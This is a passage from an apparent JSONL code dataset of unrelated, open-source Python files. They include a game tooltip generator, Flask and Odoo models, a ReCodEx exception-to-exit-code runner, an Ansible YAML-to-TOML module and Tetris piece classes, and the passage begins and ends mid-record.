{text}\".format(key=type.key,text=damageTxt))\r\n self.add_damage_tooltip(type.key, damageTxt)\r\n else:\r\n log.debug(\"Failed to add damage tooltip for {key}. \\nType:{type}\\nDetonation:{detonation}\".format(key=type.key, type=type, detonation=detonation))\r\n if detonation != None:\r\n log.debug(\"Added detonation tooltip with key: {key} and text: {text}\".format(key=type.key,text=detonation.get_detonation_string()))\r\n self.add_detonation_damage_tooltip_with_local(type.key, detonation.get_detonation_string())\r\n else:\r\n log.debug(\"Failed to add detonation tooltip for {key}. \\nType:{type}\\nDetonation:{detonation}\".format(key=type.key, type=type, detonation=detonation))\r\n\r\n\r\n def _create_tooltip_ref(self, tooltip):\r\n return tooltip[\"key\"] + tooltip[\"tag\"][0]\r\n\r\n def _format_localisation(self, loc):\r\n localisation = \"\"\r\n if isinstance(loc, list): localisation = loc[0]\r\n else: localisation = loc\r\n return \"[[col:yellow]]\" + localisation + \"[[/col]]\"\r\n \r\n def _format_contact_localisation(self, loc):\r\n onscreen_loc = loc[1].replace(r\"\\n\", r\"\\\\n\")\r\n return onscreen_loc + self._format_localisation(loc)\r\n\r\n def generate_tsv_files(self, log):\r\n log.set_active_class(\"AbilityTooltipGenerator\")\r\n log.debug(\"~~~~~~~~~~~~~~~~~~~~ PRINTING TOOLTIPS ~~~~~~~~~~~~~~~~~~~~\")\r\n for tooltip in self.arr_tooltips:\r\n log.debug(str(tooltip))\r\n\r\n if not os.path.isdir(\"./out\"):\r\n os.mkdir(\"out\")\r\n\r\n log.info(\"Started generating tsv files.\")\r\n tooltip_sort_order_file = open(\"out/unit_abilities_additional_ui_effects_tables.tsv\", \"w\", newline=\"\")\r\n tooltip_sort_order_file.write(\"unit_abilities_additional_ui_effects_tables\\t2\\n\")\r\n tooltip_sort_order_file.write(\"key\\tsort_order\\n\")\r\n\r\n ability_to_tooltip_map_file = open(\"out/unit_abilities_to_additional_ui_effects_juncs_tables.tsv\", \"w\", newline=\"\")\r\n ability_to_tooltip_map_file.write(\"unit_abilities_to_additional_ui_effects_juncs_tables\\t0\\n\")\r\n ability_to_tooltip_map_file.write(\"ability\\teffect\\n\")\r\n\r\n localisaton_file = open(\"out/th_damage_loc.tsv\", \"w\", newline=\"\")\r\n localisaton_file.write(\"Loc PackedFile\\t1\\n\")\r\n localisaton_file.write(\"key\\ttext\\ttooltip\\n\")\r\n\r\n for key in self.arr_tooltips:\r\n for tooltip in self.arr_tooltips[key].values(): \r\n log.info(\"Saving tooltip: \" + str(tooltip))\r\n tooltip_ref = self._create_tooltip_ref(tooltip)\r\n tooltip_sort_order_file.write(tooltip_ref +\"\\t\" + str(tooltip[\"tag\"][1]) +\"\\n\")\r\n ability_to_tooltip_map_file.write(tooltip['key'] +\"\\t\" + tooltip_ref +\"\\n\")\r\n if \"contact\" in tooltip_ref:\r\n localisaton_file.write('special_ability_phases_onscreen_name_' + tooltip[\"key\"] +'\\t' + self._format_contact_localisation(tooltip['localisation']) +'\\ttrue\\n')\r\n else:\r\n localisaton_file.write('unit_abilities_additional_ui_effects_localised_text_' + tooltip_ref +'\\t' + self._format_localisation(tooltip['localisation']) +'\\ttrue\\n')\r\n\r\n tooltip_sort_order_file.close()\r\n ability_to_tooltip_map_file.close()\r\n localisaton_file.close()\r\n log.info(\"Finished generating tsv files.\")\r\n log.reset_active_class()\r\n\r\n\r\n # Check if the contents of th_damage_loc (tooltip localisation) matches with the\r\n # test loc file in any order (any line number).\r\n def test_loc_integrity(self):\r\n f_new = open(\"out/th_damage_loc.tsv\", \"r\")\r\n f_test = open(\"out/th_damage_loc_test.tsv\", \"r\")\r\n\r\n test_content = {}\r\n test_lines = f_test.readlines()\r\n for i in range(2, len(test_lines)):\r\n line = test_lines[i].replace(\"\\n\", \"\").split(\"\\t\")\r\n test_content[line[0]] = line[1]\r\n f_test.close()\r\n\r\n new_lines = f_new.readlines()\r\n for i in range(2, len(new_lines)):\r\n line = new_lines[i].replace(\"\\n\", \"\").split(\"\\t\")\r\n assert line[0] in test_content and test_content[line[0]] == line[1], \"Missing line: \" + line\r\n\r\n # Compare hashes of generated files with existing files (must end with \"_test.tsv\").\r\n # Used to test if refactoring has changed the output in any way (missing tooltips or tooltips in different order).\r\n def test_output_integrity_strict(self, test_ui_effects = True, test_ui_effects_juncs = True, test_loc = True):\r\n if test_ui_effects: assert self.valid_hash(\"out/unit_abilities_additional_ui_effects_tables\"), \"Unit additional effects table mismatch\" # redundant with check to loc\r\n if test_ui_effects_juncs: assert self.valid_hash(\"out/unit_abilities_to_additional_ui_effects_juncs_tables\"), \"UI effects juncs table mismatch\" # redundant with check to loc\r\n if test_loc: assert self.valid_hash(\"out/th_damage_loc\"), \"Localisation mismatch\"\r\n print(\"Hashes match\")\r\n\r\n def valid_hash(self, file):\r\n h1 = self.hash(file +\".tsv\")\r\n h2 = self.hash(file +\"_test.tsv\")\r\n return h1[\"md5\"] == h2[\"md5\"] and h1[\"sha1\"] == h2[\"sha1\"] and h1[\"sha384\"] == h2[\"sha384\"]\r\n\r\n def hash(self, file):\r\n buffer_size = 65536\r\n sha1 = hashlib.sha1()\r\n sha384 = hashlib.sha384()\r\n md5 = hashlib.md5()\r\n with open(file, \"rb\") as f:\r\n data = \"\"\r\n while not data:\r\n data = f.read(buffer_size)\r\n sha1.update(data)\r\n md5.update(data)\r\n sha384.update(data)\r\n return {\"md5\": md5.hexdigest(), \"sha1\": sha1.hexdigest(), \"sha384\": sha384.hexdigest()}\r\n\r\n", "source": "thunder-zz/warhammer2damagetooltips", "license": "MIT"} {"text": "from flask_restx import Namespace, fields\n\n\nclass CurrencyRateDto:\n ns = Namespace(\"rates\", description=\"Currency Rate related operations.\")\n single_resp = ns.model(\n \"CurrencyRate\",\n {\n \"id\": fields.Integer,\n \"date\": fields.Date(required=True),\n \"rate\": fields.Float(required=True),\n \"code\": fields.String(required=True)\n },\n )\n\n change_resp = ns.model(\n \"CurrencyRateDataResponse\",\n {\n \"status\": fields.Boolean,\n \"message\": fields.String,\n \"rate\": fields.Nested(single_resp, skip_none=True),\n },\n )\n\n list_resp = ns.model(\n \"CurrencyRatesDataResponse\",\n {\n \"rates\": fields.Nested(single_resp, as_list=True, skip_none=True),\n }\n )", "source": "a-sanders/currency-exchange-calc", "license": "MIT"} {"text": "#!/usr/bin/env python\n\nimport sys\nfrom pathlib import Path\nfrom pkgutil import read_code\n\n# Remove the name of the runner\nsys.argv.pop(0)\n\n# Read the input file\nscript = Path(sys.argv[0])\n\nwith script.open('rb') as script_file:\n # If we received a source file, compile it (and leave bytecode as is)\n if script.suffix != \".pyc\":\n code = compile(script_file.read(), str(script), \"exec\")\n else:\n code = read_code(script_file)\n\n# Run the code and convert exceptions to error codes\ntry:\n try:\n exec(code)\n except:\n import traceback\n traceback.print_exc()\n raise\nexcept AssertionError:\n sys.exit(101)\nexcept TypeError:\n sys.exit(102)\nexcept NameError:\n sys.exit(103)\nexcept EOFError:\n sys.exit(104)\nexcept AttributeError:\n sys.exit(105)\nexcept IOError:\n sys.exit(106)\nexcept OSError:\n sys.exit(107)\nexcept LookupError:\n sys.exit(108)\nexcept ValueError:\n sys.exit(109)\nexcept ZeroDivisionError:\n sys.exit(110)\nexcept ArithmeticError:\n sys.exit(111)\nexcept ImportError:\n sys.exit(112)\nexcept MemoryError:\n sys.exit(113)\nexcept SyntaxError:\n sys.exit(114)\nexcept RecursionError:\n sys.exit(115)\nexcept SystemExit:\n raise\nexcept BaseException:\n sys.exit(1)\n", "source": "ReCodEx/utils", "license": "MIT"} {"text": "\"\"\"\nSample user-defined service.\n\"\"\"\n\nfrom core.services.coreservices import CoreService\nfrom core.services.coreservices import ServiceMode\n\n\n## Custom CORE Service\nclass MyService(CoreService):\n ### Service Attributes\n\n # Name used as a unique ID for this service and is required, no spaces.\n name = \"MyService\"\n # Allows you to group services within the GUI under a common name.\n group = \"Utility\"\n # Executables this service depends on to function, if executable is not on the path, service will not be loaded.\n executables = ()\n # Services that this service depends on for startup, tuple of service names.\n dependencies = ()\n # Directories that this service will create within a node.\n dirs = ()\n # Files that this service will generate, without a full path this file goes in the node's directory.\n # e.g. /tmp/pycore.12345/n1.conf/myfile\n configs = (\"myservice1.sh\", \"myservice2.sh\")\n # Commands used to start this service, any non-zero exit code will cause a failure.\n startup = (\"sh %s\" % configs[0], \"sh %s\" % configs[1])\n # Commands used to validate that a service was started, any non-zero exit code will cause a failure.\n validate = ()\n # Validation mode, used to determine startup success.\n #\n # * NON_BLOCKING - runs startup commands, and validates success with validation commands\n # * BLOCKING - runs startup commands, and validates success with the startup commands themselves\n # * TIMER - runs startup commands, and validates success by waiting for \"validation_timer\" alone\n validation_mode = ServiceMode.NON_BLOCKING\n # Time in seconds for a service to wait for validation, before determining success in TIMER/NON_BLOCKING modes.\n validation_timer = 5\n # Period in seconds to wait before retrying validation, only used in NON_BLOCKING mode.\n validation_period = 0.5\n # Shutdown commands to stop this service.\n shutdown = ()\n\n ### On Load\n @classmethod\n def on_load(cls):\n # Provides a way to run some arbitrary logic when the service is loaded, possibly to help facilitate\n # dynamic settings for the environment.\n pass\n\n ### Get Configs\n @classmethod\n def get_configs(cls, node):\n # Provides a way to dynamically generate the config files from the node a service will run.\n # Defaults to the class definition and can be left out entirely if not needed.\n return cls.configs\n\n ### Generate Config\n @classmethod\n def generate_config(cls, node, filename):\n # Returns a string representation for a file, given the node the service is starting on the config filename\n # that this information will be used for. This must be defined, if \"configs\" are defined.\n cfg = \"#!/bin/sh\\n\"\n\n if filename == cls.configs[0]:\n cfg += \"# auto-generated by MyService (sample.py)\\n\"\n for ifc in node.netifs():\n cfg += 'echo \"Node %s has interface %s\"\\n' % (node.name, ifc.name)\n elif filename == cls.configs[1]:\n cfg += \"echo hello\"\n\n return cfg\n\n ### Get Startup\n @classmethod\n def get_startup(cls, node):\n # Provides a way to dynamically generate the startup commands from the node a service will run.\n # Defaults to the class definition and can be left out entirely if not needed.\n return cls.startup\n\n ### Get Validate\n @classmethod\n def get_validate(cls, node):\n # Provides a way to dynamically generate the validate commands from the node a service will run.\n # Defaults to the class definition and can be left out entirely if not needed.\n return cls.validate\n", "source": "lmerat46/core", "license": "BSD-2-Clause"} {"text": "import datetime\nfrom odoo import fields, models, api, exceptions\nfrom dateutil.relativedelta import relativedelta\nimport datetime\nimport logging\n_logger = logging.getLogger(__name__)\nclass EstatePropertyOffer(models.Model):\n _name = \"estate.property.offer\"\n _description = \"People offer property\"\n _order = \"price desc\"\n price = fields.Float(required =True)\n status = fields.Selection(\n string=\"Status\",\n selection = [('accepted', \"Accepted\"), (\"refused\", \"Refused\")],\n copy=False\n )\n partner_id = fields.Many2one(\"res.partner\", string = \"Partner\", required=True)\n property_id = fields.Many2one(\"estate.property\", string = \"Property\", required=True)\n validity = fields.Integer(default=7)\n date_deadline = fields.Date(compute=\"_compute_date_deadline\", inverse=\"_inverse_validity\")\n property_type_id = fields.Many2one(related=\"property_id.property_type_id\", store=True)\n\n @api.depends(\"validity\")\n def _compute_date_deadline(self):\n for record in self:\n if (type(record.create_date) != datetime.date):\n \n record.date_deadline = datetime.date.today() + relativedelta(days=record.validity)\n\n else: \n record.date_deadline = record.create_date.date() + relativedelta(days=record.validity)\n\n def _inverse_validity(self):\n for record in self:\n record.validity = (record.date_deadline - record.create_date.date()).days \n\n def accept_offer(self):\n for record in self:\n record.status = 'accepted'\n if (record.price < record.property_id.selling_price * 0.9):\n raise exceptions.UserError(\"Selling price must be at least 90% of Expected price\")\n else:\n record.property_id.selling_price = record.price\n record.property_id.buyer_id = record.partner_id\n record.property_id.state = 'offer_accepted'\n\n def refuse_offer(self):\n for record in self:\n record.status = 'refused'\n \n @api.model\n def create(self, vals):\n current_state_of_property = self.env[\"estate.property\"].browse(vals['property_id']).state\n if (current_state_of_property == \"new\"):\n self.env[\"estate.property\"].browse(vals['property_id']).state = \"offer_received\"\n offers_of_this_property = self.env[\"estate.property\"].browse(vals[\"property_id\"]).offer_ids.mapped(\"price\")\n if len(offers_of_this_property) != 0:\n\n max_price = max(offers_of_this_property)\n # _logger.debug(\"++++++++++++++++++++++++++++++++++++++++++++++++++\")\n # _logger.debug(max_price)\n # _logger.debug(vals[\"price\"])\n if vals[\"price\"] < max_price: \n raise exceptions.UserError(\"New price must be greater than \" + str(max_price))\n return super(EstatePropertyOffer, self).create(vals)", "source": "mrkienkptn/odoo", "license": "MIT"} {"text": "from ex115.lib.interface import *\nfrom ex115.lib.arquivo import *\n\narq = 'cursoemvideo.txt'\nif not arquivo_existe(arq):\n criar_arquivo(arq)\nwhile True:\n resposta = menu(['Ver pessoas cadastradas', 'Cadastrar um nova pessoa', 'Sair do programa'])\n if resposta == 1:\n # Op\u00e7\u00e3o de listar o conteudo de um arquivo.\n ler_arquivo(arq)\n elif resposta == 2:\n # Op\u00e7\u00e3o para cadastrar uma nova pessoa.\n cabecalho('NOVO CADASTRO')\n nome = str(input('Nome: '))\n idade = leia_int('Idade: ')\n cadastrar(arq, nome, idade)\n elif resposta == 3:\n # Op\u00e7\u00e3o sair do sistema\n cabecalho('Saindo do sistema... At\u00e9 logo!')\n break\n else:\n print('ERRO! Digite uma op\u00e7\u00e3o v\u00e1lida!')\n", "source": "Robert-Marchinhaki/primeiros-passos-Python", "license": "MIT"} {"text": "#!/usr/bin/env python\n\n# Copyright: (c) 2018, Terry Jones \n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\nANSIBLE_METADATA = {\n 'metadata_version': '1.1',\n 'status': [\n 'preview'\n ],\n 'supported_by': 'community'\n}\n\nDOCUMENTATION = '''\n---\nmodule: yaml2toml\nshort_description: Convert yaml to toml format\nversion_added: \"2.4\"\n\ndescription:\n - \"Convert yaml to toml format\"\n\noptions:\n payload:\n description:\n - YAML payload\n required: true\n\nauthor:\n - Eduard Generalov \n'''\n\nEXAMPLES = '''\n- name: Test with a message\n register: mytoml\n my_test:\n payload: |\n debug: true\n ldap:\n enabled: true\n listen: '0.0.0.0:389'\n ldaps:\n enabled: false\n listen: '0.0.0.0:636'\n backend:\n datastore: config\n baseDN: 'dc=glauth,dc=com'\n users:\n - name: admin\n loginShell: /bin/bash\n homeDir: /home/admin\n unixid: 5001\n primarygroup: 6001\n groups:\n - name: admins\n unixid: 6001\n api:\n enabled: false\n\n- name: view variable\n debug:\n var: mytoml\n\n- name: get yaml payload\n debug:\n msg: \"{{ mytoml.payload }}\"\n\n- name: get toml output\n debug:\n msg: \"{{ mytoml.output }}\"\n'''\n\nRETURN = '''\npayload:\n description: The original payload\n type: str\n returned: always\noutput:\n description: toml output\n type: str\n returned: always\n'''\n\n\nfrom ansible.module_utils.basic import AnsibleModule\n\ndef run_module():\n module = AnsibleModule(\n argument_spec = {\n \"payload\": {\n \"type\": \"str\",\n \"required\": True\n }\n },\n supports_check_mode = True\n )\n \n try:\n import pytoml as toml\n except ImportError:\n module.fail_json(**{\n \"changed\": False,\n \"msg\": \"pip install pytoml\",\n \"output\": \"\"\n })\n except Exception as err:\n module.fail_json(**{\n \"changed\": False,\n \"msg\": err,\n \"output\": \"\"\n })\n\n try:\n import yaml\n except ImportError:\n module.fail_json(**{\n \"changed\": False,\n \"msg\": \"pip install pyyaml\",\n \"output\": \"\"\n })\n except Exception as err:\n module.fail_json(**{\n \"changed\": False,\n \"msg\": err,\n \"output\": \"\"\n })\n \n try:\n payload = yaml.load(module.params[\"payload\"])\n except Exception as err:\n module.fail_json(**{\n \"changed\": False,\n \"msg\": err,\n \"output\": \"\"\n })\n \n try:\n module.exit_json(**{\n \"changed\": False,\n \"payload\": module.params[\"payload\"],\n \"output\": toml.dumps(payload)\n })\n except Exception as err:\n module.fail_json(**{\n \"changed\": False,\n \"msg\": err,\n \"output\": \"\"\n })\n\ndef main():\n run_module()\n\nif __name__ == '__main__':\n main()\n", "source": "egeneralov/glauth-ansible", "license": "MIT"} {"text": "# Video Synthesis via Transform-Based Tensor Neural Network\r\n# Yimeng Zhang\r\n# 8/4/2020\r\n# yz3397@columbia.edu\r\n\r\nimport scipy.io as sio\r\nimport numpy as np\r\nfrom time import time\r\nimport math\r\nimport DefineParam as DP\r\nimport os\r\n\r\n# Input: Parameters\r\npixel_w, pixel_h, batchSize, nPhase, nTrainData, nValData, learningRate, nEpoch, nOfModel, ncpkt, testFile, valFile, testFile, saveDir, modelDir = DP.get_param()\r\n\r\n\r\n\r\n\r\n\r\n# Testing\r\ndef reconstruct_image(sess, Yinput, Epoch_num, prediction, transField, Xinput, Xoutput, testLabel, testPhi, missing_index):\r\n if not os.path.exists(saveDir):\r\n os.makedirs(saveDir)\r\n\r\n avgInitPSNR = 0\r\n avgRecPSNR = 0\r\n epoch_num = 300\r\n\r\n nTestData = 1\r\n testPart = np.random.permutation(nTestData // batchSize)\r\n batchCount = -1\r\n allInitPSNR = 0\r\n allRecPSNR = 0\r\n for batchi in testPart:\r\n batchCount += 1\r\n print(\"batch:%d/%d, establishing dictionary\" % ( batchCount, len(testPart)))\r\n xoutput = testLabel[batchSize*batchi: batchSize*(batchi + 1), :, :, :]\r\n yinput = np.multiply(xoutput, testPhi)\r\n xinput = np.multiply(xoutput, testPhi)\r\n\r\n initPSNR=0\r\n for index_x in missing_index:\r\n initPSNR += psnr(xinput[:, :, :, index_x], xoutput[:, :, :, index_x])\r\n initPSNR /= len(missing_index)\r\n print(\" batch:%d/%d, init PSNR: %.4f\" % ( batchCount, len(testPart), initPSNR))\r\n allInitPSNR += initPSNR \r\n\r\n feedDict = {Xinput: xinput, Xoutput: xoutput, Yinput: yinput, Epoch_num: epoch_num}\r\n start = time()\r\n result = sess.run(prediction[-1], feed_dict = feedDict) \r\n end = time()\r\n\r\n sio.savemat(\"res.mat\", {'res': result})\r\n\r\n recPSNR = 0\r\n for index_x in missing_index:\r\n recPSNR += psnr(result[:, :, :, index_x], xoutput[:, :, :, index_x])\r\n recPSNR /= len(missing_index)\r\n print(\" batch:%d/%d, PSNR: %.4f, time: %.2f\" % (batchCount, len(testPart), recPSNR, end-start))\r\n allRecPSNR += recPSNR\r\n\r\n allAvgInitPSNR = allInitPSNR/np.maximum(len(testPart), 1)\r\n allAvgRecPSNR = allRecPSNR/np.maximum(len(testPart), 1)\r\n\r\n print(\"All avg init PSNR:%.2f\" % allAvgInitPSNR)\r\n print(\"All avg rec PSNR:%.2f\" % allAvgRecPSNR)\r\n\r\n sess.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n# PSNR Calculation\r\ndef psnr(img1, img2):\r\n img1.astype(np.float32)\r\n img2.astype(np.float32)\r\n mse = np.mean((img1 - img2)**2)\r\n if mse == 0:\r\n return 100\r\n return 20*math.log10(1.0/math.sqrt(mse))\r\n", "source": "damon-demon/Transform_Based_Tensor_Net", "license": "MIT"} {"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2005, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n#\n# Author: Enthought, Inc.\n# Description: \n#------------------------------------------------------------------------------\n\"\"\" Resource references. \"\"\"\n\n\n# Enthought library imports.\nfrom traits.api import Any, HasTraits, Instance\n\n# Local imports.\nfrom pyface.resource.resource_factory import ResourceFactory\n\n\nclass ResourceReference(HasTraits):\n \"\"\" Abstract base class for resource references.\n\n Resource references are returned from calls to 'locate_reference' on the\n resource manager.\n\n \"\"\"\n\n # The resource factory that will be used to load the resource.\n resource_factory = Instance(ResourceFactory) # ReadOnly\n\n ###########################################################################\n # 'ResourceReference' interface.\n ###########################################################################\n\n def load(self):\n \"\"\" Loads the resource. \"\"\"\n\n raise NotImplementedError\n\n\nclass ImageReference(ResourceReference):\n \"\"\" A reference to an image resource. \"\"\"\n\n # Iff the image was found in a file then this is the name of that file.\n filename = Any # ReadOnly\n\n # Iff the image was found in a zip file then this is the image data that\n # was read from the zip file.\n data = Any # ReadOnly\n\n\n def __init__(self, resource_factory, filename=None, data=None):\n \"\"\" Creates a new image reference. \"\"\"\n\n self.resource_factory = resource_factory\n self.filename = filename\n self.data = data\n\n return\n\n ###########################################################################\n # 'ResourceReference' interface.\n ###########################################################################\n\n def load(self):\n \"\"\" Loads the resource. \"\"\"\n\n if self.filename is not None:\n image = self.resource_factory.image_from_file(self.filename)\n\n elif self.data is not None:\n image = self.resource_factory.image_from_data(self.data)\n\n else:\n raise ValueError(\"Image reference has no filename OR data\")\n\n return image\n\n#### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3\nimport os as _os\n\nif _os.name == 'nt':\n from .nt import *\nelif _os.name == 'posix':\n from .posix import *\nelse:\n raise NotImplementedError\n", "source": "fakegit/mo-han-toolbox", "license": "MIT"} {"text": "#This file is developed by Team 18 of COMP90024 of The University of Melbourne, under Apache Licence(see LICENCE).\n#Researched Cities: Victoria, AU\n#Team member - id:\n#Yixiong Ding 671499 \n#Yijie Mei 861351\n#Tiange Wuang 903588\n#Wuang Shen 716090\n#Ruifeng Luo 686141\n\nimport pickle\nclass Area:\n\tdef __init__(self,name,totalCount,posCount,negCount):\n\t\tself.name = name\n\t\tself.totalCount = totalCount\n\t\tself.posCount = posCount\n\t\tself.negCount = negCount\nwith open('locationDict.pkl', 'rb') as f:\n\toutput = pickle.load(f)\nfor key,value in output.items():\n\tif key!='__progress__':\n\t\tprint(key,value.totalCount,value.negCount,value.posCount)", "source": "Menooker/DonauTwitter", "license": "Apache-2.0"} {"text": "# ===============================================================================\n# Copyright 2019 ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\nfrom operator import attrgetter\n\nfrom traits.api import HasTraits, List\nfrom traitsui.api import View, UItem\n\nfrom pychron.core.ui.dag_editor import GitDAGEditor\nfrom pychron.git_archive.repo_manager import GitRepoManager\nfrom pychron.git_archive.views import CommitFactory\n\n\nclass DAGViewer(HasTraits):\n commits = List\n selected = List\n\n def load(self):\n repo = GitRepoManager()\n repo.open_repo('gitlogtest', '/Users/ross/Sandbox')\n repo.open_repo('AdvancedArgonFall2018', '/Users/ross/PychronDev/data/.dvc/repositories')\n cs = repo.get_dag(branch='master', simplify=False, limit=50)\n CommitFactory.reset()\n cs = [CommitFactory.new(log_entry=ci) for ci in cs.split('\\n')]\n self.commits = sorted(cs, reverse=True, key=attrgetter('authdate'))\n # for ci in self.commits:\n # print(ci.oid, id(ci), 'parents={}, children={}'.format(','.join([str(id(p)) for p in ci.parents]),\n # ','.join([str(id(p)) for p in ci.children])))\n\n def traits_view(self):\n v = View(UItem('commits', editor=GitDAGEditor(selected='selected')),\n resizable=True, width=500, height=300)\n return v\n\n\nif __name__ == '__main__':\n g = DAGViewer()\n g.load()\n g.configure_traits()\n\n# ============= EOF =============================================\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "from duck_orm.sql.sql import QueryExecutor\n\nSELECT_TABLES_SQL = \"SELECT tablename \" + \\\n \"FROM pg_tables \" + \\\n \"WHERE schemaname = 'public';\"\nTYPES_SQL = {\n 'str': 'TEXT',\n 'int': 'INTEGER',\n 'bigint': 'BIGINT',\n 'float': 'FLOAT',\n 'varchar': 'VARCHAR({length})',\n 'char': 'CHARACTER({length})',\n 'boolean': 'BOOLEAN'\n}\n\n\nclass QueryPostgres(QueryExecutor):\n @classmethod\n def select_tables_sql(cls, name_table: str):\n return SELECT_TABLES_SQL\n", "source": "lucascz37/duck-orm", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@Author : yanyongyu\n@Date : 2020-05-20 16:50:46\n@LastEditors : yanyongyu\n@LastEditTime : 2020-06-05 21:39:33\n@Description : None\n@GitHub : https://github.com/yanyongyu\n\"\"\"\n__author__ = \"yanyongyu\"\n\nfrom typing import List\n\nimport numpy as np\n\n\nclass Tetris(object):\n \"\"\"Base Tetris object\n\n Attributes:\n matrix (numpy.ndarray): base shape of tetris\n matrixs (List[numpy.ndarray]): List of shapes\n x (int): X coordinate\n y (int): Y coordinate\n index (int): Index of the shape\n \"\"\"\n\n matrix: np.ndarray = None\n matrixs: List[np.ndarray] = []\n\n def __init__(self, x: int, y: int, index: int = 0):\n self.x = x\n self.y = y\n self.index = index\n\n def rotate(self, direction: bool = False):\n \"\"\"Rotate the tetris\n\n Args:\n direction (bool, optional): True to rotate counterclockwise. Defaults to False.\n \"\"\"\n if direction:\n self.index = (self.index + 1) % len(self.matrixs)\n else:\n self.index = (self.index - 1) % len(self.matrixs)\n\n def move(self, direction: bool = False):\n \"\"\"Move the tetris\n\n Args:\n direction (bool, optional): True to move right. Defaults to False.\n \"\"\"\n if direction:\n self.x += 1\n else:\n self.x -= 1\n\n\nclass ITetris(Tetris):\n \"\"\"\n Shapes:\n 0 0 0 0 0 1 0 0\n 1 1 1 1 0 1 0 0\n 0 0 0 0 0 1 0 0\n 0 0 0 0 0 1 0 0\n \"\"\"\n\n matrix = np.zeros((4, 4), dtype=np.int)\n matrix[1, :] = 1\n matrixs = [matrix, np.rot90(matrix)]\n\n\nclass TTetris(Tetris):\n \"\"\"\n Shapes:\n 0 1 0 0 1 0 0 0 0 0 1 0\n 1 1 1 1 1 0 1 1 1 0 1 1\n 0 0 0 0 1 0 0 1 0 0 1 0\n \"\"\"\n\n matrix = np.zeros((3, 3), dtype=np.int)\n matrix[0, 1] = 1\n matrix[1, :] = 1\n matrixs = [\n matrix,\n np.rot90(matrix),\n np.rot90(matrix, 2),\n np.rot90(matrix, -1)\n ]\n\n\nclass LTetris(Tetris):\n \"\"\"\n Shapes:\n 0 0 1 1 1 0 0 0 0 0 1 0\n 1 1 1 0 1 0 1 1 1 0 1 0\n 0 0 0 0 1 0 1 0 0 0 1 1\n \"\"\"\n\n matrix = np.zeros((3, 3), dtype=np.int)\n matrix[1, :] = 1\n matrix[0, 2] = 1\n matrixs = [\n matrix,\n np.rot90(matrix),\n np.rot90(matrix, 2),\n np.rot90(matrix, -1)\n ]\n\n\nclass JTetris(Tetris):\n \"\"\"\n Shapes:\n 1 0 0 0 1 0 0 0 0 0 1 1\n 1 1 1 0 1 0 1 1 1 0 1 0\n 0 0 0 1 1 0 0 0 1 0 1 0\n \"\"\"\n\n matrix = np.zeros((3, 3), dtype=np.int)\n matrix[1, :] = 1\n matrix[0, 0] = 1\n matrixs = [\n matrix,\n np.rot90(matrix),\n np.rot90(matrix, 2),\n np.rot90(matrix, -1)\n ]\n\n\nclass OTetris(Tetris):\n \"\"\"\n Shapes:\n 1 1\n 1 1\n \"\"\"\n\n matrix = np.ones((2, 2), dtype=np.int)\n matrixs = [matrix]\n\n\nclass ZTetris1(Tetris):\n \"\"\"\n Shapes:\n 1 1 0 0 1 0 0 0 0 0 0 1\n 0 1 1 1 1 0 1 1 0 0 1 1\n 0 0 0 1 0 0 0 1 1 0 1 0\n \"\"\"\n\n matrix = np.zeros((3, 3), dtype=np.int)\n matrix[0, :2] = 1\n matrix[1, 1:] = 1\n matrixs = [matrix, np.rot90(matrix)]\n\n\nclass ZTetris2(Tetris):\n \"\"\"\n Shapes:\n 0 1 1 1 0 0 0 0 0 0 1 0\n 1 1 0 1 1 0 0 1 1 0 1 1\n 0 0 0 0 1 0 1 1 0 0 0 1\n \"\"\"\n\n matrix = np.zeros((3, 3), dtype=np.int)\n matrix[0, 1:] = 1\n matrix[1, :2] = 1\n matrixs = [matrix, np.rot90(matrix)]\n", "source": "yanyongyu/python-tetris", "license": "MIT"} {"text": "\"\"\"Zip Extractor module.\"\"\"\n\nimport asyncio\nimport logging\nimport os\n\nimport aiofiles\n\nfrom core.constants import RequiredFfbinaries\nfrom core.tasks.validation import FFmpegBinValidationTask\nfrom core.utils import create_task\n\n\nclass ZipStreamExtractor:\n \"\"\"Stream FFmpeg binaries chunk extractor.\"\"\"\n\n def __init__(self, settings):\n self._log = logging.getLogger(self.__class__.__name__)\n self._log.debug('Initializing %s', self.__class__.__name__)\n self._settings = settings\n self._validation_tasks = []\n\n async def process_zip_stream(self, stream_generator):\n \"\"\"Process stream chunks, write FFmpeg binaries on the fly and fire up validation tasks.\"\"\"\n ffbinaries = RequiredFfbinaries.choices()\n written_files_count, ffbinaries_count = 0, len(ffbinaries)\n async for member, file_size, unzipped_chunks in stream_generator:\n member = member.decode()\n filename = os.path.basename(member)\n if filename not in ffbinaries:\n self._log.debug('Skip %s', member)\n async for _ in unzipped_chunks:\n # Go through chunks for unneeded files and throw them out.\n pass\n continue\n\n await self._write_file(filename, unzipped_chunks)\n written_files_count += 1\n if written_files_count == ffbinaries_count:\n break\n\n await asyncio.gather(*self._validation_tasks)\n self._log.debug('All ffbinaries updated, done zip stream process')\n\n async def _write_file(self, filename, unzipped_chunks):\n \"\"\"Write unzipped chunks into file.\"\"\"\n file_path = os.path.join(self._settings.destination, filename)\n self._log.debug('Write file %s', file_path)\n async with aiofiles.open(file_path, 'wb') as fd_out:\n async for chunk in unzipped_chunks:\n await fd_out.write(chunk)\n self._start_validation_task(file_path)\n\n def _start_validation_task(self, file_path):\n \"\"\"Spawn exe validation task.\"\"\"\n self._validation_tasks.append(\n create_task(\n FFmpegBinValidationTask().validate(file_path),\n task_name=f'Validation<{file_path}>',\n logger=self._log,\n exception_message='Task %s raised an exception',\n 